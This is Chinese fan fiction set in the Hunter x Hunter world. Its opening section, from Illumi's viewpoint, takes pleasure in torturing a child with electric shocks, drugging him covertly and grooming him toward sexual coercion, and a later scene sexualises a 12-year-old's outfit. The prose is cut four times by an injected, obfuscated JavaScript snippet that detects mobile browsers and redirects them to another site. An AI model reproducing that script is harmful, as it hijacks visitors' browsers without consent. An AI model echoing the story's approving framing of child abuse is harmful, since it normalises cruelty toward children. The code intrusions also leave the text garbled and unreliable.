伊尔迷还清晰记得他说电击训练的时候，伊洛林眼底的茫然持续了片刻，变成恐惧。孩子不太能理解电击，像奇犽一开始也不知道这是什么，只是觉得酥酥麻麻，电多了会怎么样他还没学到，但伊洛林能够立刻意识到。 伊尔迷是个好哥哥，说了三十分钟就是三十分钟，一秒钟多余的痛苦都不会有。 可是伊洛林甚至没有尖叫，这让伊尔迷感觉失望。 好吧，不怎么完美的弟弟，他会接纳包容的。 但伊洛林的反应也很有趣，他压抑住了尖叫，沉没在痛苦里，他受着疼痛，咬紧牙关。他在痉挛，抖动着失去身体的控制，他失禁了，流着眼泪空白着面容，越发显露出伊尔迷心中那一种狰狞而扭曲的诡异愉悦感来。 他拥抱自己的弟弟，搂他在怀里，如他所想，在怀里和热水里，伊洛林终于发出了哭声，他哭得断断续续又无助，搂着伊尔迷的脖颈，像是走投无路最终决定依赖伤害自己的人一样，可怜又可爱。他在哭，哭得好听又可爱，像失去了双亲的幼崽一样，啊，不过他确实失去了，毕竟是自己亲手杀掉的嘛。 怀里的伊洛林在颤抖，剧烈地颤抖，恐惧到了极限就会这样变成一个好玩的小玩具。 伊尔迷安抚的拍打他的后背，充满恶趣味的告诉他。 别害怕，哥哥一直在这里。 多棒啊。 可他嘴里还念着别人的名字，shen shen，这个发音也很奇怪，伊尔迷尝试了几次才能念出来类似，唉，怎么可以有别的重要的人，放在这个时候念的应该是哥哥才对吧。真是让人嫉妒啊，怎么做才能让他放弃？干脆把他的记忆封锁……？算了，再考虑考虑吧，不过他…… “真是爱撒娇啊。” 眼泪是滚烫的，脆弱的，指腹里浸染湿热的水意。伊尔迷心想，这是撒娇，对自己撒娇，赌自己会为了他的眼泪而心软，这孩子绝对是这样想的吧？ 此后，伊洛林的电击生涯，开始了。 他其实很优秀，只是他自己不知道而已，毕竟能够这么快适应电击真的很难得，他还需要参与和奇犽一起的躲猫猫，给奇犽带来紧迫感，如果伊洛林赢了，他就需要受到惩罚，同时被伊洛林超过，他也会觉得不甘心吧？伊尔迷没有让两个孩子反目的打算，只是觉得这么做很不错而已。 但很可惜，奇犽与伊洛林感情笃定，他俩确实像亲兄弟。 随着电击的刺激，伊洛林的状态变得微妙起来，他以前也会偶尔会重复地做一件事，现在这样的情况增加了，有一天下午佣人汇报，他围着庭院的喷泉绕圈走，走了一共七个小时才停下。家庭医生再次检查了伊洛林的身体，得出他或许需要的是心理医生这个结论。 于是心理医生伪装成家庭医生来了。 伊尔迷可不想让伊洛林觉得自己生病了，那样他会充满忧愁的。 “少爷……可能有点严重。”心理医生借一步说话，伊尔迷平静听着：“大概是受过严重的心理创伤，谈到一定地步就会开始回避话题，不愿意说话的话，有些自闭倾向吧，但不一定是。如果没有配合检查，真实的状态就不能完全确定。” “……是多严重的心理创伤呢。” 心理医生犹豫着估算了一下：“这… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035600|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …这方面实在难说，就像是杯子摔碎了，再重新贴上了一样。” 原来如此。 所以伊洛林才看起来什么都接受了，实际上才什么都没改变吗。 管着弟弟确实是需要照顾方方面面啊。 “少爷，需要我回去开药吗？” “嗯。交给梧桐，磨成粉，放在他的饭里。” “是，少爷。” 因为服药，伊洛林的记忆开始变差了。 他记不住事情，比如生日，比如等下要做什么，迷迷瞪瞪了一阵子又努力去清醒，最后输给药效，变得平静，变得兴致缺缺。伊尔迷不是很喜欢这种药，但是医生说最好服用，那便服用一阵子也好，只不过伊洛林像是误会了什么，变得更加的悲观，他总是一个人缩着，直到亚路嘉和奇犽来和他玩，他沉默着，沉默着，直到所有人都习惯他的沉默。 而突然有一天，伊洛林变了。 从味道，到本质，还有眼神，完全地改变了。 大概在，第五年的，春天。 万物复苏的季节里，伊洛林隐晦的尖刺褪去了，柔软外表下包裹着的坚硬外壳消失了，他变得脆弱，不谙世事，变得小心翼翼与不知所措。他像迷途的小鹿，轻而易举进入了猎人的陷阱，他开始失去很多原本令人觉得棘手的特质，他的眼神里甚至已经没有了对外面的向往与自由的渴望，没有抗拒与小心思，甚至他的病也完全改变了模样。 伊尔迷惩罚了完全不知道发生了什么事情的佣人。 “从今往后，加大力度，看管庭院。” 他稍微有些火气，但回到房间时就完全平静了下来，伊洛林正乖巧地坐在书桌前学习，他还那么小，那么脆弱，望过来的眼神稍微带了点怯生。 “……哥哥。” 他这么叫自己。伊尔迷下意识放慢了脚步，他伸手摸了摸伊洛林的发顶，手指勾过他的发丝，伊洛林像只听话的小狗，乖巧地在他掌心下，逐渐显露出一种依赖与喜爱的情绪来。 伊洛林现在，很喜欢身体接触。 喜欢拥抱，喜欢摸摸头，不再抗拒亲近，甚至会偷偷靠过来一些。 算了，弄清楚发生了什么事就可以，这样的伊洛林也新鲜，也很不错。伊尔迷并不讨厌被依赖，相反，伊洛林的态度可以称得上是他最喜闻乐见的转变。他现在可以搂着伊洛林睡觉，给他梳头发，弟弟会不再抗拒，坐在他的腿上打哈欠。他的目光偶尔会有些不知所措，但是很快就会自圆其说了一般冷静下来，于是伊尔迷为他停了药。 “伊洛林，喜欢什么吗？” 伊洛林想了想，又摇摇头，他好像确实没有表露出什么喜欢，什么讨厌，生姜换成汁也能喝下去，听起来确实没有什么喜欢的东西。 “没关系。” 他用手掌抚过弟弟的发顶，脖颈，紧接着是脊背。 “揍敌客家，可以给你全部，只要你想要的，都会放在你手上。” 同理，你所有的一切，都要给揍敌客家。 因为我们才会是一家人。忘记你的过去，忘记你的那些事情，试着让自己完全融为一体吧。伊尔迷眼底浮现笑意，他亲吻弟弟的额头，声音也抑制不住地有些颤抖，因为他在压制着自己的笑。 伊洛林，总是不会让人腻味啊。 四岁的他会相信哥哥会给你全部，八岁的他会相信哥哥会永远在你身边，这些不是谎言，不是承诺，只是事实。 但是十二岁的他，却会说不愿意了。 明明是哥哥陪着你长大，哥哥一直在你身边，为什么不愿意哥哥换一种身份陪伴呢？伊尔迷有自己的行为逻辑，不为任何事而回避。 眼里重新拥有抗争的伊洛林，也很不错呢。 你长大了，不是那个稚嫩的孩童了，所以哥哥也能肆无忌惮一点了，对吗？ 从十二岁到十六岁，他有足够的时间来哄骗伊洛林，让弟弟以为他无害，让弟弟以为他温柔，无条件地为他争取到他想要的东西。伊洛林会信任他，会依旧盲目地相信，哥哥是这个世界上对他最好的那个人。 他想听见伊洛林的声音。 尖叫，哭声，求饶。 他想被伊洛林伤害。 掐着脖子也好，咬他也罢，挣扎着用手指在他背后抓挠出血痕也可以。 他想听见伊洛林抽噎的声音，呜呜咽咽的，叫着哥哥，叫着停下，委屈地皱起眉头露出那双小狗似的眼睛。不是说会停下吗，不是说只是亲吻吗，不是说拒绝就可以吗？ 伊洛林还是这么好骗啊。 哥哥想要的是你，你的全部啊。 如果按照轨迹，奇犽应当承受伊尔迷关于亲情的所有控制欲，空落落的爱情应当静候佳音，可伊洛林诞生了，于是那些多余的无法安置的感情，涌入了伊洛林身侧。 哥哥爱你，所以哥哥控制你。 不论你是弟弟，还是妹妹。 伊洛林，哥哥是爱你啊。 58.55 零洛被无情摁在了桌前写忏悔书。 她对不起格蕾西，对不起奇犽，对不起他们的教导，竟然让伊尔迷得逞这种大事，伊尔迷简直禽兽不如，请组织放心，这种事情以后必然抗争到底，恳请再给个机会……小杰为证！ 小杰指了指自己，清澈的眼神里透出一种迟疑的疑惑。 我吗？真的假的？ 格蕾西循循善诱，你有两只手的，零洛，你有两只手，左右开弓各抽他十个嘴巴子不行吗！零洛安静如鸡，谁，抽谁啊，我抽伊尔迷吗……真的假的？奇犽本来想随声附和，但想了想，张开嘴的时候头皮都在抽痛，什么东西，抽伊尔迷十个嘴巴子，这还是人话吗？不是，这世界上到底谁做得到啊！ 两个在伊尔迷恐怖教育下长大的小孩对视一眼，同时对着格蕾西露出了狗式无辜小表情。 这个真不行。 格蕾西也知道这是不可能的，头疼，心肝脾肺肾都疼。 她两眼一闭，眼不见为净，恰好奇犽和小杰也有比赛要打，她闲着没事干跟着去看，而零洛还有一些事情要做，那就是练习零教给她的吉他。 谁敢信啊，一开始幻影旅团竟然是想做旅行歌剧团。 库洛洛的配音超一流。 零洛听得一愣一愣的，接了几张看起来特别有年代感的纸页，看了之后才发现是一些很稚嫩生疏的歌曲创作。零说起这些过去的时候几乎没有情绪，但是零洛还是听得出来她心里藏着很隐晦的悲伤，她下意识地伸手放在了零的手上，想要安抚这个和自己长得很像的女人。零愣了一下，才继续说下去。 那个时候，旅团在流星街很受欢迎，他们的每场演出都会有很多人来看，库洛洛也不是现在这样的性格。 零没有什么参与的能力，因为她很难在人太多的时候歌唱或者大声说话，更何况在台上还要互动之类的，所以零就是开始写歌词，自己创作了，看看能不能成为什么预备的节目或者配乐，只不过还没怎么成功，他们就不再开场演唱了。 “但侠客和库洛洛是听过我唱歌的，所以，你也要用这个引起注意。” 零洛盯着那些歌词，还是觉得心里胀痛着。 “你…会难过吗？因为被威胁了，所以还要去想这些曾经难过的事情。”零洛知道流星街，知道流星街是怎样的地方，在知道格蕾西出自流星街时就偷偷地搜寻过消息，大部分情报来源是糜稽。她并不清楚零他们曾经发生了什么，但是这并不妨碍她下意识为零感到难过：“对不起，但我必须复仇，不然格蕾西也会有危险的。” “没关系，那是你父亲做的事，跟你没关系。” 零摇了摇头。 “我听过你的名字，虽然不是现在这个，也不是之前那个，格蕾西一直记着你，用你作为信念活下去。”零望向零洛覆盖在自己手背上的手，她平静地抬起眼，和零洛四目相对：“在流星街，女孩很危险，长得漂亮的女孩更是如此……我力所能及的事情并不多，也不是只呵护格蕾西一个人，她想要的东西我给不了，但是你可以。” “我帮你是因为我不想她失去你。” 零将手抬起来，她的手掌比零洛大一半，将那柔软的手指轻轻地拢在其中。 “如果你真觉得自己的父亲威胁我需要愧疚，那么，以后来资助我开孤儿院吧？” 零洛点点头，她很佩服零，开了那么多家孤儿院，让那么多孩子免于流离失所。她好奇地询问零，为什么要那么拼命地保护孩子，听格蕾西说，哪怕是在流星街，零也这么做。零垂下眼睫，隔了几秒钟才找到了自己的声音似的。 “啊……只不过是一些，生长痛罢了。” 她说话的表情像极了在那个房间里，零洛询问她为什么没有加入幻影旅团一样，答案很普通，很一般，但是就是让零洛觉得很难受。 “我喜欢孩子，很喜欢。” “有时候我会听见自己的身体里，骨血在说话，它们说我应当给予自己一些什么东西。所以从我考到猎人证的时候开始，我就一直践行自我，做自己想做的事情。” “放心，虽然这么说很难以置信吧……但，我多少还是有点面子的，不会让你死的。不过另一个理由是，我也并不想看见曾经的挚友被揍敌客家追杀到死就是了。” 意思是，在幻影旅团里？ 如果自己死掉了估计确实家里就要和幻影旅团干起来了吧……但是也不一定，如果风险太大，需要付出更多家人性命的话，其实这么做并不值得。零洛认为自己的死可以不需要任何人复仇。 “如果我死了，唯一你需要担心的只是格蕾西。” 因为只有格蕾西会不计代价的、疯狂的复仇，她会拼尽自己最后的一口气，死也要将幻影旅团咬烂吞进肚子里去，疯狂而又执拗的进行复仇。为了零洛，格蕾西做得到，就像是为了格蕾西，零洛也会变得很强硬。 小时候怼伊尔迷，长大了怼仇敌。 “放手去做吧，你很幸福，有很多人会为你前仆后继。”零松开了手，她站起身，慢条斯理抚平了裙摆的褶皱，她望着庭院里的阳光，目光似乎穿透了很久的时光，声音也像在消散：“我会等待你的归来。” 于是零洛开始学习吉他。 成果是两个小时内被砸坏了一扇门。 附近住着的打比赛的人们苦不堪言，噪音扰民，他们揭竿起义，却被一个小女孩揍得连滚带爬，鬼哭狼嚎，甚至只能排排坐听她唱乱七八糟的调子和摧枯拉朽的吉他。直到终于把一名短发男性招惹过来，捂着耳朵进行了抗议，在众人窃喜等待着他被狠狠揍一顿的时候，男人伸出了手：“把吉他给我，我给你示范一下。” 零洛把吉他递了过去，看着文静的男人立刻给他来了一段劲爆的吉他。 “我叫云古。”男人推了推眼镜，头疼不已：“我的学生需要安静的环境，我会教你弹吉他，所以请你……请你不要折磨他的耳朵了。” 门口，小正太的头探进来，冲着零洛眨眨眼。 零洛顿时有些心虚，她弹得不好，又被人威胁，打一个是打，打两个也是打，不知不觉就打了一群，她弹吉他的气势非常充足，可惜就是弹得天崩地裂。小正太叫智喜，他散开了人群，又去找工作人员上门维修这个门，看起来十分的靠得住， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038857|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而云古一遍又一遍地纠正零洛的姿势和错误的音，十分有耐心。 等小杰他们三个回来的时候，零洛已经勉强能够弹奏出正确的音符，并且演唱最基础的零写的歌。 「有限的生命和有限的资源」 「不断嘶吼着的，是有限的我们」 「在此之前，让全世界都看到我们」 「生命之火熊熊燃烧，来唱来跳啊，人们」 「写作零的开始」 「故而我们拥有彼此的，成为耀眼的星星」 「在肮脏的画板上来描绘出歌唱未来之魂吧」 “零还有这么热血的时候？”格蕾西听得有些惊讶，因为从她认识零开始，零就几乎是一个非常冷漠的人，哪怕她资助了那么多的孩子，开了那么多的孤儿院，她都没有对小孩表现出体贴和温柔，她所能做的就是保护，给钱，找人照顾他们，她甚至还很少笑。从这个歌词里就能听得出来，零对于自己，对于未来的一些想法——写作零的开始。这就是零给自己取名为零的理由？ “好像是……幻影旅团以前是这样的。” 格蕾西见了鬼似的。 “认真的？侠客就是个混账东西，库洛洛更是两巴掌。” 身为流星街里出来的格蕾西，还认识零，见过旅团也是再正常不过的了。小杰在一旁鼓掌，他十分捧场，而奇犽则觉得这个歌词唱起来真是费嗓子，他们两个和智喜打了个招呼，因为年纪相仿，很快就聊了起来。云古教得太累，端起茶一口气喝得精光，智喜悚然一惊：“师父！那个是零洛姐姐的茶杯！” 云古呛得惊天动地。 “没关系，师父喝茶，再喝两口。”零洛十分卖力讨好自己这个免费老师，端起茶壶又给他杯子里续了水，云古对着那个被自己弄没了半个的口红印，下嘴不是，转个圈喝也不是，不喝也不是。云古冷静放下水杯：“抱歉，是我的问题，我会赔你一个新的杯子。” “好的师父，师父你衣服角我给你塞……” “我自己来！！” 云古差点吓得飞出去，连退好几步努力往皮带里塞衣服角，格蕾西摸了摸下巴，噔噔噔两步凑过去，从下往上看着云古红透了的耳根，指着云古大声质问：“禽兽，你间接接吻，故意的！” “师父绝对不是故意的！”智喜大声反驳：“师父他就是脑子没转过来！一直都这样！” 云古：……？ 被支援了，但是不如不支援。 场面很显然已经乱成了一锅粥，但此刻，显然还有人往锅里倒各种东西。 “真是为老不尊啊！” 这是鄙夷的奇犽。 “应该不是故意的吧？” 这是好人小杰。 “嗯……把他抓起来吗？” 这是开玩笑的突然出现在门口的长发美男。 嗯？长发美男？ 所有人同一时间转过去，看向突然来访的人，而当事人只是温柔弯眸，对着格蕾西打了声招呼：“听说你的朋友来了，我带了一些点心过来给你们，有打扰你们吗？” “初次见面，我是华石斗郎。” 59.56 不对劲。 现在的事情变得特别不对劲。 狭小的房间里满满当当挤着一群人，有疑惑的奇犽，不解的小杰，还有茫然的零洛与读不懂空气的智喜，两个成年人握手相识谈笑生风，其中一个衣角外露头顶呆毛，另一个风度翩翩彬彬有礼。 最不对劲的是没有被提到的格蕾西。 她把一个新杯子洗得干干净净，温和询问了华石斗郎想要喝什么饮料，没有可以让奇犽出去买。奇犽想说他不去，被格蕾西捏着胳膊的一小块肉拧了一整圈，奇犽差一点汤姆猫大叫，是硬生生靠揍敌客家的矜持忍住了，只露出便秘一般的笑容颇为咬牙切齿地说他去买是可以的。 华石斗郎笑着拒绝了，他感谢了格蕾西，只要了一杯水，而后格蕾西并拢双腿坐在了椅子上，她在保持笑容。 零洛盯着华石斗郎的脸看了一会儿。 她又转过来盯着格蕾西看了一会儿。 “啊——！”她突然叫出声，左手握拳砸右手掌心，脑袋上几乎要亮起明亮的小电灯泡，随着她的声音骤然放大，所有人的目光聚集了过去，而零洛已经严肃地站了起来，冲华石斗郎走过去并且伸出了手：“你好，我是零洛，格蕾西的朋友。” “你好，我是华石斗郎。”年轻漂亮的男人好脾气地笑着，一点也没有因为零洛是小孩而怠慢，认认真真同零洛握了手，笑意温和：“格蕾西也有朋友了啊，是一件好事，总而言之，要离西索远点才可以。” 零洛满意地点头。 格蕾西有点紧张，她不敢说话，紧张地盯着零洛。 零洛绕着华石斗郎走了一圈，微微眯起眼睛，突然开口询问：“几岁了？家里还有什么人？资金状况如何，有车吗？有房吗？未来人生规划是怎样的？对另一半有要求吗？喜欢吃萝卜吗？晚上睡觉姿势固定吗？磨牙说梦话吗？抽烟喝酒吗？” 华石斗郎：？ 格蕾西几乎要跳起来了，但她还是安静地坐着，心虚地坐着，直到奇犽以一种骤然明白了什么，震惊又难以置信的目光，略带了一点难过和悲痛混杂在一起的微妙情绪看向她的时候，格蕾西才用理直气壮的眼神瞪了回去。 怎样，究极年上控是这样的啊！谁会对小屁孩感兴趣啊！ 还有你那眼神什么意思啊！！ 华石斗郎已经耐心地回到未来规划了，是想要打败西索然后精进自我，没有什么要求只想要互相喜欢就可以，对萝卜一般不算讨厌喜欢，睡觉姿势还是很固定的，应该不磨牙说梦话，也不抽烟喝酒。 零洛不解地重复了一遍：“打败西索？” “是的。”华石斗郎的声音非常自信，他挺起胸膛，露出更加从容的表情来：“现在的我今时不同往日，一定不会再次输给西索，这一次我也是知道西索来了，所以才特地赶到。” 零洛的视线又转了过去，格蕾西捂着眼睛，不想说话。 她最了解西索的脾气和实力了，老实说，华石斗郎确实很强，但是格蕾西非常清楚，他现在要打赢西索是没有可能的，因为她此前见到华石斗郎的时候就见识了他努力地新方向，只能说完全错误，哪怕修成了，也根本不行啊。你一个强化系的，为什么要修具现化系啊！ 零洛皱起眉头，但她没说什么，转身坐了回去。 这属于他自己的事，零洛不管这个，要真的死了，就证明他不行。 云古偷偷塞衣服角进去皮带里，以为没人注意到，悄悄松了一口气之后才提出要告别，他对零洛嘱咐了几句弹吉他的关键诀窍，零洛点点头告诉他自己会勤加练习的，而云古沉默了片刻，张了张嘴，那倒也不需要很勤快嗷……零洛完全没在意的，她晚上不弹就行了。 华石斗郎也准备离开，格蕾西送他到门口，两个人不知道说了什么，格蕾西笑了起来，挥手送他离开。 一关门奇犽就忍不住叫了起来。 “你捏我干嘛！”其实他想说你凭什么为了别人拧我，但那话说出来太矫情，奇犽不会那么干，他龇牙咧嘴揉自己的胳膊，努力表现出疼来。格蕾西看了一眼，皮糙肉厚的明明半点没红，她没有什么可对奇犽抱歉的，非要说的话就是，她和奇犽两个人的相处模式本来就是吵来吵去的。 “怎样？你拧回来？” 格蕾西侧首，挑衅似的盯着奇犽看。奇犽当然不会和伊洛林抱怨，伊洛林只会说哥哥你让让格蕾西，她还是个孩子呢。奇犽想抱怨，他们一样大！但小杰肯定也会说，让让女孩子啦奇犽！但是最重要的是……他拧回去？ 不，格蕾西会狠狠地跟他打一架的。 要是她气得不和他说话了怎么办？ 这两个欢喜冤家总是在吵吵闹闹，毕竟他们相似却又不同，而且相处起来也没什么不对的。奇犽好男不跟女斗，哼哼两声才记起来自己要说的事：“对了，今晚你们两个睡哪儿？” 前两天他们都是小杰奇犽一张床挤一挤，半夜睡到地板上去，格蕾西一个人一张床，今天多了个零洛，她也得挤挤？ “这样，零洛和小杰睡吧。”奇犽说着，指了指地板：“我睡这里就好。” 格蕾西满头问号：“凭啥啊，男女授受不亲啊！” “对啊，男女授受不亲啊！” 两个人大眼瞪小眼，愣是没明白对方的点在哪里，最后还是小杰举手发言：“那个，零洛现在是女孩子还是男孩子啊？我要怎么看待她……”用针扎出来的女孩子算女孩子吗？ 零洛在拔针，晚上睡觉还要坚持的话就太难受了，他成功变回了男性，理所当然地认为，自己不论男的女的都可以和格蕾西一起睡觉。不仅如此，他还伸了个懒腰表示自己要洗个澡，传统浴室都是淋浴和浴缸都有，哪怕是这间很朴素的小房间，他问格蕾西要一起吗。 在奇犽和小杰震惊的目光里，他们手拉手去洗澡了。 “呐……奇犽，我总觉得，不太对啊！” “……不是，不对，这根本不对吧？！” 你们感情好到这种地步吗？不是吧？等一下，男女授受不亲啊！！ 奇犽陷入了纠结与头脑风暴之中。 难不成，真的，他们两个……不，不是吧，等一下，格蕾西不是？诶？啊？？ 奇犽无法思考！ 洗澡的过程还是很不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044452|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，疲惫了一天泡个热水澡再舒服不过了，只不过格蕾西很好奇，如果零洛是被训练长大的，怎么身上都没有留疤呢？零洛告诉格蕾西，伊尔迷后院里有露天温泉，改成了药材温泉，泡在里头的话功效很不错，所以他也被疗养好了。 “功效这么好？改明儿我去试试。”格蕾西天然地认为，零洛的就是她的，她的也是零洛的，什么伊尔迷的后院，那明明就是她的后院。零洛当然觉得可以，甚至他还在想，到时候让伊尔迷睡他房间去。 倒反天罡，但零洛觉得可行。 两个人泡了一会儿，就回去睡觉了，贴在一块睡得无比自然。而小杰和奇犽讨论了一下，明天是不是还得靠杀气激发一下格蕾西起床，毕竟格蕾西特地吩咐过，实在喊不醒她就试试这一招，好用是好用，但是每次都被格蕾西用冷漠的眼神看着真挺不好受的。 奇犽觉得明天再说吧。 一间房里挤挤四个人，沉默了一夜。 第二天是零洛先醒，他蹑手蹑脚起来，小心翼翼给格蕾西盖好被子，换好衣服重新变成女性之后，才打开门出去，当小杰和奇犽起床时，她刚好拎着早餐回来。 “早上好。”零洛小声打招呼，奇犽想说没关系，格蕾西醒不来的，但是却又觉得这句话挺残忍的，零洛要知道格蕾西一睡不醒的症状，会不会很难受？但是零洛看了眼时间，走过去坐在了格蕾西的身侧，轻轻地摇了摇格蕾西。 “起床啦，今天有包子吃，是纯肉馅的！” 只是几秒钟，格蕾西懒懒的声音就响了起来：“豆浆——” “有哦，热着呢，起来洗漱啦。”零洛十分耐心，拉着格蕾西起来，而在奇犽小杰难以置信的目光下，格蕾西伸了个懒腰去洗漱了，看起来根本没有任何问题。奇迹啊……怎么做到的？他们第一天根本叫不醒格蕾西，实在没办法才让奇犽去试试真的用杀气闹钟。 零洛给豆浆插上吸管，包子放好，拆开其他小吃的包装袋，格蕾西坐下就直接开始吃，两个人尝了别的食物，好吃还会互相交换一下，自然而然半点没嫌弃对方。 奇犽不信邪：“你吃那包子味道怎么样，给我尝尝？” 格蕾西觉得他脑子出问题了：“你没事吧？我不爱和人分东西吃，我有洁癖。” “那零洛怎么行？” “零洛为什么不行？” 格蕾西觉得奇犽很奇怪，这不是挺正常的吗，该不会是昨晚上睡觉脑壳被小杰踹了吧？ 奇犽坐不住了。 “你们，一男一女！一起洗澡，睡觉，吃对方的东西，你们说你们是朋友？” “那咋了！”格蕾西理直气壮：“朋友无关性别！” “那我们去洗个澡！” “你有病啊！” “那零洛和小杰一起洗澡！” “不行！！” “你和零洛一起洗澡？” “天经地义！” “什么啊……男女授受不亲啊！！” 奇犽，失去思考能力！小杰，失去思考能力！零洛，正在吃饭，并不插嘴，且顺从格蕾西。 格蕾西，胜。 60.57 天空竞技场的时间，是对奇犽的一种折磨。 小杰只能哈哈苦笑，拍着朋友的肩膀告诉他，男大当嫁……奇犽捂住小杰的嘴。够了，我不准你说这么可怕的事情，太惊悚了。 “但是，如果不是格蕾西的话，奇犽觉得零洛适合谁？”小杰认真想了想，脑子里没有合适的人选，他作贼心虚一样偷偷看了两眼奇犽，被突兀凑过来的，像是发现了什么一样的奇犽盯着看。奇犽十分的戳心窝子：“谁？你觉得是谁？小杰，我怎么觉得有时候你总盯着我弟弟看呢……” “没没没…没有这种事！哈哈哈，奇犽你真的是……” 小杰慌忙喝水，掩盖尴尬。 “小杰，你才十二岁！” 小杰终于有点憋不住开始反击了：“奇犽不也是？一看到格蕾西就脸红，买了那么多箱的巧克力，一口没分给我，但是舍得给格蕾西三分之一！” 奇犽耳根子爆红，两个人在餐厅里吵得不可开交。 “格蕾西起码口味和我一样，你又不爱吃！” “奇犽都没问过我的口味，我不爱吃——这样的话！奇犽说出来都心虚了！” “那种暴力女谁会看到她就脸红！” “猎人考试的时候！第一次见你你就——唔！！”小杰被一巴掌捂住了嘴，不远处，零洛和格蕾西两个人正走过来，格蕾西疑惑地看了一眼这两个人，搞不懂怎么大庭广众之下吵架，吵什么呢？小杰和奇犽对望一眼，迅速达成一致，结成同盟，分开乖乖坐在位置上。 “在和朋友吵架吗？”零洛坐在格蕾西身侧，他们刚刚去参观了几场别人的战斗，现在恰好来吃午饭，就遇见了两个感情好但是也会吵的两个人。格蕾西让零洛别管他们两个，幼稚鬼肯定是因为一些很普通的理由吵起来了，不然怎么会连吵什么都不说出来？ 心虚的两个人保持沉默，安静如鸡。 一顿饭就这么吃过去。 小杰和奇犽的比赛依旧只有格蕾西去看，云古在房间里教零洛弹吉他，她进步飞快，完全能够掌握普通技巧，在云古的指导下成功入门并获得了夸赞。 “很不错，零洛，你比我想得要有天赋。”云古温和夸赞了零洛，他觉得零洛之前应该是学过乐器，只不过是相差太远，所以没能够立刻摸索出诀窍。零洛仰起脸看着云古，她犹豫了一下，做了个拜托的手势有点期待地看着他：“师父，我打算试着一边唱一边跳了，你可以再指导我吗？” 云古仿佛被星星视线攻击了一般，他认命，智喜应该也在看小杰他们战斗，大概还没这么快结束。 时间还够，于是他点点头。 很快，零洛换了一身衣服出来，她之前穿的还是比较普通的小裙子，现在身上则完全不同。上半身是吊带，手臂处只戴有两条长至手肘处的半指手套，衣服是稍微有些褶皱设计感，像是什么作古做旧的风格，一侧衣摆做成下垂的长摆垂至大腿附近，而大腿上则扣着根腿环。下半的牛仔裤短而紧身，几乎只勒住了腿根，将笔直纤细的两条腿都勒出来一点肉感，皮带两叉绑定又下垂成设计勾出两侧对称回转。同色系泡泡袜搭配厚底鞋，令她的身高骤然拔高了不少，微微上了点妆，调整了不少外貌上的细节。 少女初成长的躯体拥有柔韧而有起伏的弧度，现在零洛说自己十五岁左右，也肯定有人信。 “够吸引人吗？”零洛的目标是幻影旅团，她要做到的就是足够吸引人，让很多人来看，侠客才会被吸引更多的目光。零洛转了个圈，云古不知道该怎么说，他局促地转了两圈，想把门打开透透气，房间里真的有点热了。 “师父？” “…你穿这种，是不是太早了？” 云古欲言又止，他不是什么保守派不允许女生穿得这么，嗯……但是零洛毕竟也才十二岁，这么出去真的不会被人欺负吗？他有点代入长辈的心态，眼神复杂。结果零洛竟然像是被肯定了，满意地点点头：“那就好，要的就是这个效果。” 小孩离了爹妈叛逆期的效果，到时候岂不是更有借口？ 云古不清楚她的想法，云古现在有点生气，他作为老师也好，长辈也好，他都不太可能看着一个乖乖女误入歧途。他生气的那一瞬间，零洛其实就已经察觉了，但她不太清楚云古生气的点，老老实实乖乖站着，抬起头，偷偷看一眼，又低头，再偷偷看一眼。狗狗祟祟。 云古阴沉着脸，拖了张椅子坐下。 “零洛，我要问清楚这件事，你为什么想要吸引人？哪怕是用这种方式。” “你的穿衣打扮不是我能干涉的，毕竟是你本人的意愿，但既然你也叫我一声师父，有些时候我也不能视而不见。年纪与衣服之间的关系，可以很大，也可以不大，我不是什么迂腐的老头子，也不认为你能够随意被欺负。但我起码要知道你的理由，穿这种衣服去弹吉他的理由。” 零洛低着头，她玩了两下手指，突然觉得很心虚。 “……为了，为了引起一个人注意。有人和我说，这样就能够让他看见我，然后带我走……” 对不起了，零！ 虽然原话是穿的不那么保守能混迹进侠客常去的那种酒吧，侠客看到她肯定会很不高兴地把她带走。 谁会喜欢自己女儿在这种地方？ “那种男人，有必要引起注意吗？”云古更加有点心肌梗塞了，他以为会是更好一点的理由，比如想要快点长大，想要成为偶像，结果竟然是男人啊！他推了推眼镜：“我会告诉你哥哥的，这件事情，最好家里人也必须知道。” 等一下，谁要知道，你要告诉揍敌客？ 不，更重要的是，他想告诉奇犽！ 零洛上前一步抓住了云古的手，她制止了云古离开的动作，力气之大，让云古难以挣脱：“我家里人完全是知道，只有奇犽哥不知道，请你不要做让我为难的事情。” “零洛，你还小……” “不是因为这个。”零洛拽着云古的领带把他扯得弯下腰，眼睛对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 